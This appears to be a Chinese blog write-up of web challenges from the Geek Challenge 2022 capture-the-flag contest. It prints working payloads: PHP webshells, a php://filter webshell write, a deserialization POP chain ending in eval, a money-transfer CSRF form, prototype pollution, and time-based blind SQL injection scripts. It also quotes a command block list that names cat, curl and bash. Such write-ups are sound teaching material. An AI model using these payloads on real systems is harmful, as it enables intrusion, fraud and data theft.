March 2, 2023

极客大挑战2022

登录试试

image.png
爆破会不会啊爆破,不写过程了,真的很基础

来发个包

image.png
看到了js吗,这边意思就是向/flag.phppost传参一个ifffflagimage.png

Can Can Need

弱智一样的请求头伪造
用clinet-ip:127.0.0.1
然后referer:sycsec.com
user-agent:Syclover Browser

L0veSyc

梦开始的地方,看源码

justphp

起步咯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
include_once ("flag.php");
highlight_file(__FILE__);
$sleeptime=$_GET['SleepTime'];
if(isset($sleeptime))
{
if(!is_numeric($sleeptime))
{
echo '时间是一个数字啊喂!';
}
else if($sleeptime < 86400 * 30)
{
echo '这点时间哪够Canzik学长睡啊';
}
else if($sleeptime > 86400 * 60)
{
echo '别让Canzik学长睡死在这啊!';
}
else
{
echo '<br/>Canzik学长很满足,表示这次把这辈子的觉都睡完啦!flag在这,自己拿吧:<br/>';
sleep((int)$sleeptime);
echo $flag;
}
}
?>

这里就是一个小知识image.png
在PHP版本为5.6左右时:

1
2
(int)("1e1")=1
"1e1"=10

这是一个小漏洞,intval函数也有这个特性
?SleepTime=3e6
image.png

jsfind

js题什么的,感觉的去死吧!
虽然不是很难,但是呢,需要你的经验之谈,也是挺有趣的吼
image.png
这个hint好像是之后给的,刚开始做的时候就发现了这个:
image.png
这边有个js的load.js,一看就知道是加载js文件的
进去之后有个base64解密之后为:
image.png
放到控制台输入一波:
image.png
这个应该是前端的某种加密,搜一下很多

ezR_F_I

简单的data协议:
image.png
image.png
可以看到有个file,我们随便传点
image.png
会自动给我们加个html后缀,猜测语句为include(xxx.html),那就好说了,直接data协议去解:
image.png
RCE了
image.png
结束

ezrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);

/*佛又曰:输羯吉摩伽无婆羯尼羯驮萨夜南楞婆唵遮参怛烁阿怛度怛唎谨栗南提萨楞度摩谨伽伽墀醯咩驮夜帝俱佛悉呼数写帝尼嚧蒙舍利沙室罚陀俱悉夜喝唵尼孕南写利驮卢罚谨蒙伊谨尼卢利伽豆地皤穆罚驮醯伽无菩钵输烁呼驮数数嚧摩阇钵咩菩卢栗阇室栗罚俱室写耶穆墀摩利楞数皤哆呼无罚埵羯钵怛唎埵吉夜尼帝佛帝墀南吉孕室写南孕怛参阇呼怛伽迦地呼嚧咩参谨南他佛尼利栗数喝呼怛耶啰摩那羯喝萨啰俱婆楞孕孕穆呼哆输伽室利参迦苏摩伊嚧埵罚豆佛写那帝楞室墀度罚娑佛陀豆萨吉埵尼醯尼咩穆伽呼尼伊嚧呼阇娑摩苏驮苏地孕唵苏沙利无伽伊写提曳谨帝栗参啰迦俱菩罚呼遮埵无伽舍萨提遮他南栗醯啰罚曳咩伊娑咩楞咩豆墀钵皤度那沙栗菩夜苏迦迦摩婆萨输舍南沙啰输阇怛佛钵吉那埵南皤度啰孕遮烁沙蒙输他帝婆谨舍沙菩阿地阇遮阿埵输醯怛参栗无羯怛婆参舍无他羯悉遮吉孕羯哆蒙呼阇苏舍曳萨耶悉尼羯提娑谨遮婆罚罚苏婆数钵烁豆利室栗提陀他沙输悉罚唵埵摩迦啰参羯喝伊咩哆菩萨谨唎伊陀孕尼驮尼楞哆提栗悉诃参数嚧啰输罚咩尼罚唵迦沙穆穆无夜哆萨醯孕阇参羯佛耶南夜孕陀驮地醯舍尼驮萨提豆罚伽数阿耶呼栗写遮啰醯利萨嚧豆婆娑唵皤舍伊栗地沙阇婆喝利钵阇皤豆驮迦萨伊摩那唵迦穆羯萨驮娑摩那钵墀卢无陀埵谨哆醯穆醯度提室蒙夜伽悉提醯伊摩尼陀嚧写栗悉舍萨谨嚧提钵啰钵写啰萨墀曳唎埵参耶墀啰那喝迦遮嚧咩苏啰提咩卢耶埵阇楞孕喝怛羯嚧哆俱悉哆阇迦埵呼参舍沙蒙度穆夜皤尼诃无陀那沙沙蒙谨皤尼提诃穆悉罚啰输豆利尼阿栗喝皤豆喝咩咩嚧室曳醯楞墀利那参伽嚧钵输曳墀陀诃婆曳唎孕伽尼楞室谨蒙数唎迦醯帝摩提那谨俱摩婆罚南地他穆唵卢菩尼婆嚧醯写唎遮啰南无俱菩他孕娑怛栗他提卢菩数喝他帝俱诃罚无佛怛醯悉夜唵墀度摩咩帝舍孕豆他醯阿醯南摩沙哆室唎伊烁利驮咩参曳数吉沙钵怛羯伽穆嚧俱提诃罚参那南写数羯驮萨提孕数驮罚栗蒙墀谨驮羯度孕娑摩娑尼豆遮怛提尼陀烁呼喝婆萨沙伊迦羯曳佛遮卢遮尼苏谨啰栗室提参喝吉怛卢墀墀蒙摩利咩萨诃娑罚阿穆地舍尼蒙孕喝皤萨他嚧卢迦输地阿利曳楞喝哆曳喝醯沙诃南舍罚罚数提皤咩南悉伊喝栗摩诃输苏咩啰提吉尼无啰伊咩羯栗菩嚧室那那吉室伽写输南娑输耶墀舍沙无地迦无度提陀穆苏驮利蒙帝菩豆伽豆陀数穆伽度墀室孕卢提啰迦墀那呼俱吉唎地哆夜豆怛喝迦摩皤俱孕阿吉曳烁那阿哆俱输尼穆唎帝他卢烁曳他谨地皤卢地佛苏喝悉唵羯参曳尼啰楞驮沙输耶钵他菩那无曳吉遮罚喝舍输参卢豆伊摩耶曳迦曳夜娑唎墀蒙卢俱喝帝摩度曳曳伊喝他无钵伽吉室唎地唎咩埵舍唵孕尼尼嚧羯呼遮耶室迦墀娑钵驮提伊醯呼室写唎舍参陀南俱摩耶度耶烁写萨萨无伊陀吉墀罚孕利埵那利摩伽钵楞地伽迦喝利他输皤曳卢迦沙怛地写卢伊埵孕诃呼蒙埵输婆写阿唎蒙婆婆萨俱沙栗悉那蒙伽卢诃夜罚输无菩他参写迦诃穆萨他菩皤醯咩孕墀耶室驮钵唵摩埵墀利阇利伽墀埵楞婆喝写埵尼迦吉咩婆陀沙婆喝咩阇室楞豆皤俱楞迦室悉阇婆钵呼阿唎沙迦驮悉烁楞那陀娑楞菩钵埵喝室卢陀俱舍楞钵蒙夜穆帝菩喝地诃提地夜无他阿嚧夜漫

*/if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];

if(preg_match("/ls|tee|head|wegt|nl|vi|vim|file|sh|dir|cat|more|less|tar|mv|cp|wegt|php|sort|echo|bash|curl|uniq|rev|\"|\'| |\/|<|>|\\|/i", $ip,$match)) {
die("hacker!");
} else{
system("ping -c 3 $ip");
}
}
?>

image.png
image.png

WelcomeSQL

宝宝级别的SQL:
image.png
image.png
union注入,payload自己去写

babyupload

PHP文件都直接提交了,正好试试我的大木马!
image.png
image.png
这种feel很爽

drinktea

三点给嘞!饮茶先啊!考点就是CSRF
进入靶场后先登录
image.png
image.png
我们的目标很明确就是这个他妈的尊贵的vipimage.png
赤裸裸的告诉你了,我们就在VPS搭建一个恶意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script>
window.onload=function(){
document.getElementById("postsubmit").click();
}
</script>
<body>
<form method="post" action="http://mc.vveelin.com.cn:8102/trans.php">
<input id="u" type="text" name="username" value="kino">
<input id="m" type="text" name="money" value="999999999999">
<input id="postsubmit" type="submit" name="" value="">
</form>
</body>
</html>

这个意思就是打钱!
image.png
在反馈界面可以看到个伪随机数,不难的,直接用php_mt_seed去撞开,最后可以发现种子为666666,然后本地复现一下:

1
2
3
4
5
6
7
8
9
10
11
mt_srand(666666);
$a=mt_rand();// == 1567320364
echo $a;
echo '<br>';
mt_rand();
mt_rand();
mt_rand();
mt_rand();
mt_rand();
echo md5(mt_rand());
?>

image.png
image.pngimage.png
到账了到账了,最后就差个vip了:
image.png
image.png
看得出来是给人开VIP的,一样的:
image.pngimage.png
我是贵宾了:
image.png

easyphp

image.png
空白一片,但是有backup:
发现是index.php.bak:

1
2
3
4
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}    
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0ianlIcUlZZHJNdVZ4a05RVWdlV2xidGFaUFJFRm9LSkNuQmh3RFhwQU9tZkdTaXZzY1RMenp3Y1h5a0VDbXNxTGdoUk5NWkpRYUd2ZldvRlVuU3RBeGpkVmlySXBiVHVPUEJEWWxlS0hXaTlWdmNwU2syTGRsM21NUlRRWWFjUXlmcnR3dko1eEVPOXNBeFlTeUFwTXlBcE15QWpWRUp0WXZKbU10T0Y3QU1uTXlBcE15QXBNeWNqMWtUTElrd2pURUo1ekVPUURhQmp1cjNFZHYycTFsQU1JQUJwTXlBcE15QXBNWlZuTXlBcE15QXBNeUFwTXlBcE15QXBNdGNvbnZybU1LZTRNa1BwOXlBdFRaY2RDeWNRREVQcEJiVm5NeUFwTXlBcE15YzBTQUJwTXlBcE15QXBNbGNxQmFPUXp5T2YxYVRoMHZKOXN5VTl1Zk9xSEVjdDFrM1JuU1JuTXlBcE15QXBNeWNZU3lBcE15QXBNeUFwTXlBcE15QXBNeU9xenZPOE10Y29udnJtTUtlNE1rUDRCcTI5M3l6WVN5QXBNeUFwTXlBajlBeDBTQVRoWWtyaEh5RnRkYTJFWWtKbzVaVm5NeUFwTXlBcE15Y2oxa1RMSWt3cGdrellTeUFwTXlBcE15QWpWRUp0WXZKbU10T203QU1uTXlBcE15QXBNeWNqMWtUTElrd2pURUo1ekVPUURhQmp1cjNvRE4zb3d2SjV4U0FnU3lBcE15QXBNeUFqN0FCcE15QXBNeUFwTXlBcE15QXBNeUFwZ0VPZElsd3BHV0JqQnlBMCt5T2RkbGNqNVNBbzB2T1FIeUEwK3lPbUliVm5NeUFwTXlBcE15YzBTdVJuU2syTGRsM21NcVRVc29PVXd2MmREYU8xUVpWbk15QXBNeUFwTXljajFrVExJa3dwZ2ZpWVNBQnBNeUFwTXlBcE1sY3FCYU9RenlPZjFhVGgwdko5c3lPZGRsY2o1U0FvemFKUklaVm5NeUFwTXlBcE15QXBNeUFwTXlBcE1mcmZkYUFNZ2syMWdTZVlTeUFwTXlBcE15QWo5QXgwU0FUUVRTT1FIbDJxMFNBb3VORjllcVVZeGwzb3d0MTBJU3JZU3lBcE15QXBNeUFqMWF4aFFsVFFkYU9RNmZQTWdyMWpXTjFvYXQzaDBsQkVFU2VZU3VSbj0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>

发现了一大串什么不得了的东西:
中间eval内的base64解密下来是:

1
2
3
$O0O000="jyHqIYdrMuVxkNQUgeWlbtaZPREFoKJCnBhwDXpAOmfGSivscTLzzwcXykECmsqLghRNMZJQaGvfWoFUnStAxjdVirIpbTuOPBDYleKHWi9VvcpSk2Ldl3mMRTQYacQyfrtwvJ5xEO9sAxYSyApMyApMyAjVEJtYvJmMtOF7AMnMyApMyApMycj1kTLIkwjTEJ5zEOQDaBjur3Edv2q1lAMIABpMyApMyApMZVnMyApMyApMyApMyApMyApMtconvrmMKe4MkPp9yAtTZcdCycQDEPpBbVnMyApMyApMyc0SABpMyApMyApMlcqBaOQzyOf1aTh0vJ9syU9ufOqHEct1k3RnSRnMyApMyApMycYSyApMyApMyApMyApMyApMyOqzvO8MtconvrmMKe4MkP4Bq293yzYSyApMyApMyAj9Ax0SAThYkrhHyFtda2EYkJo5ZVnMyApMyApMycj1kTLIkwpgkzYSyApMyApMyAjVEJtYvJmMtOm7AMnMyApMyApMycj1kTLIkwjTEJ5zEOQDaBjur3oDN3owvJ5xSAgSyApMyApMyAj7ABpMyApMyApMyApMyApMyApgEOdIlwpGWBjByA0+yOddlcj5SAo0vOQHyA0+yOmIbVnMyApMyApMyc0SuRnSk2Ldl3mMqTUsoOUwv2dDaO1QZVnMyApMyApMycj1kTLIkwpgfiYSABpMyApMyApMlcqBaOQzyOf1aTh0vJ9syOddlcj5SAozaJRIZVnMyApMyApMyApMyApMyApMfrfdaAMgk21gSeYSyApMyApMyAj9Ax0SATQTSOQHl2q0SAouNF9eqUYxl3owt10ISrYSyApMyApMyAj1axhQlTQdaOQ6fPMgr1jWN1oat3h0lBEESeYSuRn=";  
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),
$OO0O00($O0O000,0,$OO0000))));

重要的东西是:

1
2
$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),    
$OO0O00($O0O000,0,$OO0000)))

这一串byd的东西,我们本地调试看看这一串是什么:

1
2
3
4
5
6
7
8
9
10
11
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}    
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
var_dump($O00O0O);var_dump($OO0O00);var_dump($OO0000);var_dump($O0OO00);
eval($O00O0O("JE8wTzAwMD0ianlIcUlZZHJNdVZ4a05RVWdlV2xidGFaUFJFRm9LSkNuQmh3RFhwQU9tZkdTaXZzY1RMenp3Y1h5a0VDbXNxTGdoUk5NWkpRYUd2ZldvRlVuU3RBeGpkVmlySXBiVHVPUEJEWWxlS0hXaTlWdmNwU2syTGRsM21NUlRRWWFjUXlmcnR3dko1eEVPOXNBeFlTeUFwTXlBcE15QWpWRUp0WXZKbU10T0Y3QU1uTXlBcE15QXBNeWNqMWtUTElrd2pURUo1ekVPUURhQmp1cjNFZHYycTFsQU1JQUJwTXlBcE15QXBNWlZuTXlBcE15QXBNeUFwTXlBcE15QXBNdGNvbnZybU1LZTRNa1BwOXlBdFRaY2RDeWNRREVQcEJiVm5NeUFwTXlBcE15YzBTQUJwTXlBcE15QXBNbGNxQmFPUXp5T2YxYVRoMHZKOXN5VTl1Zk9xSEVjdDFrM1JuU1JuTXlBcE15QXBNeWNZU3lBcE15QXBNeUFwTXlBcE15QXBNeU9xenZPOE10Y29udnJtTUtlNE1rUDRCcTI5M3l6WVN5QXBNeUFwTXlBajlBeDBTQVRoWWtyaEh5RnRkYTJFWWtKbzVaVm5NeUFwTXlBcE15Y2oxa1RMSWt3cGdrellTeUFwTXlBcE15QWpWRUp0WXZKbU10T203QU1uTXlBcE15QXBNeWNqMWtUTElrd2pURUo1ekVPUURhQmp1cjNvRE4zb3d2SjV4U0FnU3lBcE15QXBNeUFqN0FCcE15QXBNeUFwTXlBcE15QXBNeUFwZ0VPZElsd3BHV0JqQnlBMCt5T2RkbGNqNVNBbzB2T1FIeUEwK3lPbUliVm5NeUFwTXlBcE15YzBTdVJuU2syTGRsM21NcVRVc29PVXd2MmREYU8xUVpWbk15QXBNeUFwTXljajFrVExJa3dwZ2ZpWVNBQnBNeUFwTXlBcE1sY3FCYU9RenlPZjFhVGgwdko5c3lPZGRsY2o1U0FvemFKUklaVm5NeUFwTXlBcE15QXBNeUFwTXlBcE1mcmZkYUFNZ2syMWdTZVlTeUFwTXlBcE15QWo5QXgwU0FUUVRTT1FIbDJxMFNBb3VORjllcVVZeGwzb3d0MTBJU3JZU3lBcE15QXBNeUFqMWF4aFFsVFFkYU9RNmZQTWdyMWpXTjFvYXQzaDBsQkVFU2VZU3VSbj0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));
$O0O000="jyHqIYdrMuVxkNQUgeWlbtaZPREFoKJCnBhwDXpAOmfGSivscTLzzwcXykECmsqLghRNMZJQaGvfWoFUnStAxjdVirIpbTuOPBDYleKHWi9VvcpSk2Ldl3mMRTQYacQyfrtwvJ5xEO9sAxYSyApMyApMyAjVEJtYvJmMtOF7AMnMyApMyApMycj1kTLIkwjTEJ5zEOQDaBjur3Edv2q1lAMIABpMyApMyApMZVnMyApMyApMyApMyApMyApMtconvrmMKe4MkPp9yAtTZcdCycQDEPpBbVnMyApMyApMyc0SABpMyApMyApMlcqBaOQzyOf1aTh0vJ9syU9ufOqHEct1k3RnSRnMyApMyApMycYSyApMyApMyApMyApMyApMyOqzvO8MtconvrmMKe4MkP4Bq293yzYSyApMyApMyAj9Ax0SAThYkrhHyFtda2EYkJo5ZVnMyApMyApMycj1kTLIkwpgkzYSyApMyApMyAjVEJtYvJmMtOm7AMnMyApMyApMycj1kTLIkwjTEJ5zEOQDaBjur3oDN3owvJ5xSAgSyApMyApMyAj7ABpMyApMyApMyApMyApMyApgEOdIlwpGWBjByA0+yOddlcj5SAo0vOQHyA0+yOmIbVnMyApMyApMyc0SuRnSk2Ldl3mMqTUsoOUwv2dDaO1QZVnMyApMyApMycj1kTLIkwpgfiYSABpMyApMyApMlcqBaOQzyOf1aTh0vJ9syOddlcj5SAozaJRIZVnMyApMyApMyApMyApMyApMfrfdaAMgk21gSeYSyApMyApMyAj9Ax0SATQTSOQHl2q0SAouNF9eqUYxl3owt10ISrYSyApMyApMyAj1axhQlTQdaOQ6fPMgr1jWN1oat3h0lBEESeYSuRn=";
echo '<br>';
var_dump($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),
$OO0O00($O0O000,0,$OO0000)));

?>

image.png
得到了一串base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class BillyHerrington
{
public $a;

public function __wakeup()
{
$this -> a = "fxxk you ";
}

public function __destruct()
{
echo $this -> a."Wow";
}
}

class Baoglady{
public $b;
public $c;

public function __toString()
{
$this -> b -> happy($this -> c);
}
}

class VanDarkholme{
public $d;

public function happy($cmd){
eval($cmd);
}
}

if(isset($_POST['str'])){
unserialize($_POST['str']);
}

什么?解出来居然是一个反序列化的,纳尼?你喜欢套娃是吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class BillyHerrington
{
public $a;

public function __construct(){
$this->a=new Baoglady();
}
}

class Baoglady{
public $b;
public $c='eva($_POST[1]);';

public function __construct(){
$this->b=new VanDarkholme();
}
}

class VanDarkholme{
public $d;

public function happy($cmd){
eval($cmd);
}
}
$a=new BillyHerrington();
echo serialize($a);
?>

POP链就是如上所示了,逻辑浅显易懂无脑
image.png
记得改一下属性绕过wakeup,就这样rce了,我有啥好说的

image.png

easygame

考点:JWT,XXE
image.png
跟着他的指引一路走好:
image.png
image.png
这个一眼就知道是JWT,拖进JWT.IO分析一下:
image.png
浅显易懂,不过注意一下时间戳,这就是我们的deadline了,要不然提交会过期
然后现在要做的就是根据题目给的字典来爆破一下jwt是什么,写个py脚本:

image.png
你不开始攻击他我可就要开始攻击你了
家人们跑脚本的时候对一下时间戳,否则就无了
image.png
哦欧克,解密一下:
image.png
image.png
我觉得吧,这个一眼就是XXE注入:
image.png
这里唯一需要注意的就是application/xml格式注意

edit_php

这一题就比较坑爹了,因为他源码藏的方式很肮脏
image.png
创建相册后就到这里了,然后期间有个跳转过程,是从CatchImg.php跳转到showimage.php,然后如果你在CatchImg界面不传参的话就会显示白盒代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
if(!isset($_COOKIE['path'])){
header("Location: /index.php");
exit();
}else{
$path = $_COOKIE['path'];
if(!is_dir('upload/'.$path)){
mkdir('upload/'.$path);
chmod('upload/'.$path,0755);
}
function waf($str){
$uri = parse_url($str, 5);
$checklist = ['gif','jpg','png'];
$ext = substr($uri,strpos($uri,".")+1);
if(in_array($ext,$checklist)){
return $uri;
}
return "";
}

if(isset($_GET['file_url'])){
$contents = file_get_contents($_GET['file_url']);
$ext = substr($_GET['file_url'], strrpos($_GET['file_url'], ".") + 1);
$uri = waf($_GET['file_url']);
if($uri !== ""){
$file_name = substr($uri,''==strpos($uri,'/')?0:1,strpos($uri,'.')-(''==strpos($uri,'/')?0:1));
file_put_contents('upload/'.$path.'/'.md5($file_name).'.'.$ext,$contents);
}
} else {
echo "no resource!";
header("Location: /index.php");
show_source(__FILE__);
exit();
}
}
header("refresh: 0;url=/showImage.php");
echo "success";
?>

我们审计一下就能发现,它存在一个waf以及一个读写过程

cointowin

考点:原型链污染
image.png
进去界面叫我们注册然后登入,启示给我们100-200元,但是flag要10000元
获取钱的方式给了一个,就是去赌博,赌狗的下场是什么不用我说了吧
image.png
在导出界面看到了一些json格式的数据,盲猜一波原型链污染:
image.png
在导入界面可以导入我们的json代码:
{"user":"kino","coin":101,"hashcode":"c26522e2ec46bf2936678d4ee81d548a","__proto__":{"coin":100000000}}
如下添加一个原型去污染:
image.png
然后我们再注册一个号登入:
image.png
钱到手咯,去买flag咯:
image.png

Not_Stay

注意url加一个/进入题目入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
include_once('waf.php');
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
$safe_header = '<?php exit();?>';
if(!isset($_COOKIE['path'])){
setcookie('path',uuid());
exit();
}
$path = './upload/'.$_COOKIE['path'].'/';
if(!is_dir($path)){
mkdir($path);
chmod($path,0755);
}
$file_data = $_POST['data'];
$filename = $_POST['filename'];
if(isset($_POST['data'])){
file_put_contents('/tmp/'.$_COOKIE['path'],$file_data);
$file_type = exif_imagetype('/tmp/'.$_COOKIE['path']);
if($file_type != "GIF" && $file_type != "PNG"){
die('nonono');
}
}else{
echo "I need data";
}
if(isset($_POST['filename'])){
file_put_contents($filename,$safe_header.$file_data);
} else {
echo "I need name";
}
show_source(__FILE__);
?>

不难理解他的意思,我们要post一个data,同时post一个filename,data要实现文件头检测,然后加入了一个死亡代码,直接尝试用filter的convert.base64-decode去绕过,payload:
data=GIF89aaaaaaaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg===&filename=php://filter/write=convert.base64-decode/resource=upload/bf380593-7548-5811-3640-b9cc1f03c483/1.php
image.png
RCE了之后我就不想多bb了,flag在根目录

ezrequset

你只需要简单的编写一个脚本即可
image.pngimage.pngimage.png
一看就知道是要用脚本光速抢课:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url1="http://e69f96c6-6765-11ed-bc58-165319f5738e.challenge.sycsec.com/?action=index"
url2="http://e69f96c6-6765-11ed-bc58-165319f5738e.challenge.sycsec.com/?action=check"

data1={
"xh":'211'
}
data2={
"num":"8",
"class":"台球"
}
while True:
r1=requests.post(url=url1,data=data1)
cookies=r1.cookies
r2=requests.post(url=url2,data=data2,cookies=cookies)
print(r2.text)
if "抢到了!" in r2.text:
print(r2.headers)
print(r2.cookies)
print(r2.text)

image.png

Loginintomyheart

这题总体还是需要点信息收集和反序列化的基础
image.png
不管你怎么登陆都是失败,只有知道用户Vanzy的密码才可以:
image.png
image.png
O:3:"Log":3:{s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";s:8:"username";s:5:"hacker";s:7:"islogin";i:0;}
我们前面用的是admin/admin,可是用户名被替换成了hacker,hacker六个字母,admin五个字母,然后islogin是判断是否登录的,不用想肯定是反序列化字符逃逸,让islogin变成1,利用admin和hacker的字差构造payload:
O:3:"Log":3:{s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";s:8:"username";s:26:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:7:"islogin";i:1;}";s:7:"islogin";i:0;}
上面的东西是我们理想的预计要构造的payload,从s:26开始构造,admin";s:7:"islogin";i:1;}是26个字母,但是输入之后实际长度就是admin,然后替换为hacker之后就多一个长度,中间差了21长度,所以要输入21个admin来弥补:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:7:"islogin";i:1;}
这就是我们最终的payload:
输入到username里
image.png
image.png

uploadrce

image.png
找一下swp文件,找了一下发现是
image.pngimage.png
image.png
第一个是config.php的备份,第二个是index的
如何查看swp文件呢,这就用一下linux的vim -r file命令,自动修复
可以发现这里是有一个addslahes函数去转义的,我们可以在本地runrun试一试:
image.png
假如如上payload会发生什么事情呢?首先a%00会被addslashes函数转义为a\0,而这个\0又有讲究了,这个东西说的是第一次被匹配到的东西,也就是原本的$option='a',所以最后的结果如上,然后这边溢出的字符就是a了,也就是这个a就是我们的注入点:
image.png
image.png
从这边可以看出我们的一句话木马是已经写上去了的,这就是我们的payload了:(上面的知识测试不是payload)
;eval($_POST[1]);?>%00,运行两次,第一次是让他变成option的值,第二次让他溢出:
image.png
成功rce:
image.png

easysql

image.png题目提示看robots:
image.png
image.png
看到了select语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#AUthor:@Boogipop
#van2y0secret0qaq
# print('VAN2Y0SECRET0QAQ'.lower())
import requests
import time
url='http://uc9dd651-5fd5-11ed-ac9d-5aa08d24e2a5.challenge.sycsec.com/login.php'
result=''
i=0
while True:
i+=1
for j in range(33,128):
if chr(j)!='%' and chr(j)!='$' and chr(j)!='&':
data={
"username":"vanzy",
"secretpass":f"1'or/**/if(mid((select/**/secretpass/**/from/**/vanzy_secret),1,{i})/**/like/**/'{result+chr(j)}',sleep(1),1)#",
}
# print(data["secretpass"])
t1=time.time()
r=requests.post(url,data=data)
# print(r.text)
t2=time.time()
print(t2-t1)
if t2-t1>1:
result+=chr(j)
print(result)
break

结果测试发现就是一个有一丢丢过滤的sql注入,不太难,写个脚本就出来了,但是我这边跑的全是大写,所以会有些bug,我也不知道为什么他大小不敏感,最后转成小写字母就是van2y0secret0qaq
image.png

babysql

这道题就是我的噩梦啊,我以为我会写
考点时Postgresql注入,语法啥的自己搜搜就会了
1 union select null,null,null --发现有回显,就说明是PSQL注入了,你可以通过这个结合网上的资料,注出很多东西,最后你也会发现他说flag在root目录下
也就是现在如何去读取root目录是个问题,我卡在这一步没出来!

noobsql

这题也没出来,他这题我知道注入点在哪儿:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
url1="http://e6851b0f-668a-11ed-bc58-165319f5738e.challenge.sycsec.com/?action=reg"
url2="http://e6851b0f-668a-11ed-bc58-165319f5738e.challenge.sycsec.com/?action=login"
i=0
result=''
while True:
i = i + 1
head = 32
tail = 127
while head<tail:
mid = (head + tail) >> 1
data1={
"username":f"a'or elt(mid((select group_concat(schema_name) from information_schema.schemata),{i},2)>'{chr(mid)}',sleep(0.003))#",
"password":"1",
}
print(data1["username"],data1["password"])
data2 = {
"username":f"a'or elt(mid((select group_concat(schema_name) from information_schema.schemata),{i},2)>'{chr(mid)}',sleep(0.003))#",
"password": "1",
}
r1=requests.post(url=url1,data=data1)
# print(r1.text)
t1=time.time()
r2 = requests.post(url=url2, data=data2)
# print(r2.text)
t2=time.time()
print(t2-t1)
if t2-t1>1:
head = mid + 1
else:
tail = mid

if head != 32:
print(head)
result += chr(head)
print(result)
else:
break

脚本就是这样,有长度限制,所以很掐手,但是你注出的东西是下面的一坨屎:
image.png
第一个ctfchinfo是当前表,第二个是列名,第三个是group_concat(schema_name)的值,你觉得有规律吗,一点hint也没,无语!

rceus

我一眼就知道又是考什么新的rce:
image.png
代码就这么一点,你怎么去bypass呢?
猜测和断言有关?有毒

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp